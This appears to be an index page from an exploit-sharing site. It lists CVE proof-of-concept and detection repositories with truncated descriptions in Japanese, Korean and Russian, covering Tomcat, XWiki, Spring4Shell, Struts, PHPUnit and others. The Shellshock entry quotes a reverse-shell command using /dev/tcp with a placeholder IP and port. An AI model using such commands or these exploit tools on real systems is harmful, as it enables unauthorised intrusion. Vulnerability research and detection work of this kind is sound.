List-CVE-2025-2026

CVE-2025-69412 - KDE messagelib 25.11.90 より前のバージョンは、Google Safe Browsing Lookup API（別名フィッシング API）の threatMatches:find において SSL エラーを無視するため、... が許可される可能性があります。 2. CVE-2025-69413 - Gitea 1.25.2 より前のバージョンでは、/api/v1/user は、ユーザー名が存在するかどうかによって認証失敗時のレスポンスが異なります。 3. CVE-2025-13820 - Comments WordPress...

fetch-broker-conf

Fetch Broker Configuration Fetch Broker Configuration는 rocketmqHome 변수에서 침해 지표를 찾기 위해 RocketMQ 브로커 구성을 다운로드하려고 시도합니다. 이 변수는 다양한 공격자가 CVE-2023-33246을 통해 코드를 실행하는 데 사용합니다. 자세한 내용은 VulnCheck 블로그를 참조하세요. 컴파일 makefile을 사용하여 Docker 컨테이너를 빌드할 수 있습니다: root@kitploit: make docker 또는 Go 빌드 환경이 준비되어 있다면 make...

CVE-2026-47630

CVE-2026-47630 — NVIDIA Triton Inference Server: TRITONBATCHSTRATEGYPATH를 통한 임의 dlopen triton-inference-server/core의 사용자 정의 배치 전략 로더에서 발생하는 절대 경로 탐색Absolute Path Traversal 취약점입니다. 모델 구성 매개변수가 검증 없이 dlopenRTLDNOW | RTLDLOCAL에 전달되므로, 모델의 config.pbtxt에 영향을 줄 수 있는 사람은 누구나 모델 로드 시점에 Triton 서버 프로세스 내부에...

POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution

⚠️🚀 CVE-2025-24813 — Apache Tomcat RCE Exploitation Suite root@kitploit: ⚡ 버전: 1.0 🛡️ CVE ID: CVE-2025-24813 Apache Tomcat RCE 🧬 페이로드: ysoserial / Java 🌐 모드: 대화형 + 스텔스 🔬 용도: 윤리적, 조사용, 교육용 🌌 개요...

CVE-2022-43959

CVE-2022-43959 Bitrix脆弱性 CVE-2022-43959 説明 1C-Bitrix Bitrix24 AD/LDAPコネクタモジュールのバージョン23.100.0より前において、AD/LDAPサーバー設定内の認証情報が不十分に保護されているため、リモートの管理者が/bitrix/admin/ldapserveredit.phpのソースコードを読み取ることでAD/LDAP管理パスワードを発見できます。 CVSS Level| Score| CVSS ---|---|---...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 Reverse Shell Эксплойт для XWiki Отказ от ответственности: Данный скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения...

react-ssr-vulnerability

CVE-2025-55182 - React Server Components RCE POC 이 POC는 교육 및 보안 연구 목적으로만 제공됩니다. 이 취약점은 영향을 받는 패키지의 최신 버전에서 패치되었습니다. 이 도구는 소유한 시스템이나 테스트할 명시적 권한이 있는 시스템에서만 사용하십시오. 귀하에 대해 취해진 법적 조치에 대해 책임지지 않습니다. 페이로드 구성 이 익스플로잇은 JavaScript의 프로토타입 체인을 악용하는 특수하게 조작된 JSON 객체를 생성합니다: root@kitploit: "then":...

CVE-2025-34299

CVE-2025-34299 Monsta FTP 2.11 이하 버전에는 인증 없이 임의의 파일을 업로드할 수 있는 취약점이 존재합니다. 이 결함으로 인해 공격자는 악성 SFTP 서버에서 특수하게 조작된 파일을 업로드하여 임의 코드를 실행할 수 있습니다. 이 탐지 방법은 어떻게 작동하나요? 이 탐지 템플릿은 대상 URL에 GET 요청을 보내고, 200 상태 코드와 함께 응답에 Monsta FTP가 포함되어 있는지 확인한 다음, 정규식을 사용하여 title 태그에서 버전을 추출하고 이를 버전 2.11과 비교하여 취약한 인스턴스를...

CVE-2025-23061

CVE-2025-23061 - Mongoose コマンドインジェクション Mongoose = 7.0.0 = 8.0.0 8.9.5 CVE-2024-53900 および CVE-2025-23061 のタイムライン 2024年11月7日: Dat Phung は Mongoose の重大な脆弱性を特定し、Snyk にセキュリティレポートを提出しました。 2024年11月26日: Mongoose はこの脆弱性に対処して修正するため、バージョン 8.8.3 をリリースしました。 2024年12月2日: National Vulnerability Database NVD...

CVE-2022-22965

CVE-2022-22965 Spring4Shell-PoC 버전 Spring Framework 5.2.20 미만 및 5.3.18 미만 패치 버전: Spring Framework 5.3.18 및 5.2.20 Spring Boot 2.6.6 및 2.5.12 상세 정보 Spring Core는 Spring Framework의 핵심 구성 요소입니다. Spring MVC, Spring Boot, Spring WebFlux와 같은 Spring Framework 생태계의 다른 구성 요소를 구축하기 위한 기반입니다. 익스플로잇 코드는 다음 조건...

CVE-2023-38831

CVE-2023-38831 WinRAR 익스플로잇 탐지 로직 이 저장소는 CVE-2023-38831 WinRAR ZIP 파일 스푸핑 / 이중 확장자 익스플로잇에 대한 탐지 로직을 원시 쿼리 / 코드 블록과 ETW 관련 공급자 이름 + 이벤트 ID와 함께 제공합니다. 대상 시스템에 취약한 버전의 WinRAR 6.23이 있어야 합니다. 행동 요약 CVE-2023-38831은 다음 경우에 악용됩니다: 사용자가 WinRAR에서 악성 ZIP 파일을 엽니다. 아카이브에 다음이 포함되어 있습니다: ● 속임수 파일 예: invoice.pdf...

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 js2py サンドボックスエスケープエクスプロイト js2py サンドボックスエスケープ脆弱性 CVE-2024-28397 を標的としたエクスプロイトスクリプトのコレクションです。この脆弱性により、Python オブジェクトのイントロスペクションを通じて任意のコードが実行される可能性があります。 🔍 脆弱性の概要 js2py ライブラリには、JavaScript の Object.getOwnPropertyNames メソッドを通じて内部 Python オブジェクトにアクセスすることで、攻撃者が任意の Python...

XWiki-Platform-RCE-CVE-2025-24893

XWikiプラットフォーム 未認証RCEエクスプロイト 概要 このスクリプトは、CVE-2025-24893の影響を受けるXWikiプラットフォームのバージョンを標的としたエクスプロイトのリファービッシュされたBash実装です。これは、SolrSearchマクロのテンプレートインジェクションの欠陥を介して、攻撃者が任意のGroovyコードを実行できるようにする重大な未認証のリモートコード実行脆弱性を利用します。 元のPythonによるエクスプロイト実装はさまざまなセキュリティ研究者によって作成され、ここでは簡素化された実行と使いやすさの向上を図ってBashユーザー向けに適合されています。...

CVE-2024-51793

CVE-2024-51793 익스플로잇 도구 문서 📋 개요 CVE-2024-51793은 Computer Repair Shop WordPress 플러그인버전 3.8116 미만에서 발견된 인증되지 않은 임의 파일 업로드 취약점입니다. 이 취약점으로 인해 공격자는 인증 없이 PHP 웹쉘을 포함한 임의의 파일을 업로드할 수 있으며, 취약한 WordPress 사이트에서 원격 코드 실행이 가능해집니다. 🚨 취약점 세부 정보 CVE ID: CVE-2024-51793 취약점 유형: 인증되지 않은 임의 파일 업로드 영향을 받는 플러그인:...

gitlab-rce-demo

GitLab Oj RCE 데모 이 저장소는 당사의 연구에서 설명한 GitLab notebook-diff RCE 체인을 위한 자체 포함self-contained 데모를 포함합니다. 새 GitLab 18.11.3 컨테이너를 시작하고, 공개 HTTP 인터페이스를 통해 일반 사용자를 생성한 다음, 해당 인스턴스에 대해 PoC를 실행합니다. 기술 세부사항: Going depthfirst: Achieving GitLab RCE via Two Ruby Memory Corruption Vulnerabilities 요구 사항...

CVE-2023-27524

CVE-2023-27524 Небезопасная конфигурация по умолчанию в Apache Superset приводит к удаленному выполнению кода Скриншот Требования Python3.7+ Поддерживаемые ОС Linuxer Wingays Начало работы root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 insta...

CVE-2022-23967

CVE-2022-23967 TightVNC 1.3.10에는 rfbproto.c의 InitialiseRFBConnection에 정수 부호 오류와 그로 인한 힙 기반 버퍼 오버플로가 있습니다vncviewer 구성 요소의 경우. malloc에 전달되는 크기에 대한 검사가 없습니다예: -1이 허용됨. 이로 인해 크기가 0인 청크가 할당되어 힙 포인터가 생성됩니다. 그러나 0xffffffff 바이트의 데이터를 보낼 수 있으며, 이는 DoS 영향 또는 원격 코드 실행으로 이어질 수 있습니다. 취약점 유형 버퍼 오버플로 제품 공급업체...

CVE-2017-5638

CVE-2017-5638 | Struts s2-045 Описание Возможно выполнение RCE-атаки с использованием вредоносного значения Content-Type. Если значение Content-Type недопустимо, возникает исключение, которое затем используется для отображения сообщения об ошибке пользователю. Затронутые версии Struts 2.3.5 Strut...

CVE-2017-9841

phpunit-shell ⭐ CVE-2017-9841을 악용하는 간단한 python3 스크립트입니다. 익스플로잇 - CVE-2017-9841 ❗ PHPUnit 4.8.28 이전 버전과 5.x 버전 중 5.6.3 이전 버전에서 발견된 원격 코드 실행 취약점을 악용하는 간단한 스크립트입니다. 대상에 사용자 입력 시스템 명령어를 포함한 POST 요청을 전송합니다. https://vulners.com/cve/CVE-2017-9841. 필수 조건 ✔ python3 python3용 requests 모듈 및 bs4 모듈. 다음 명령어로 설...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...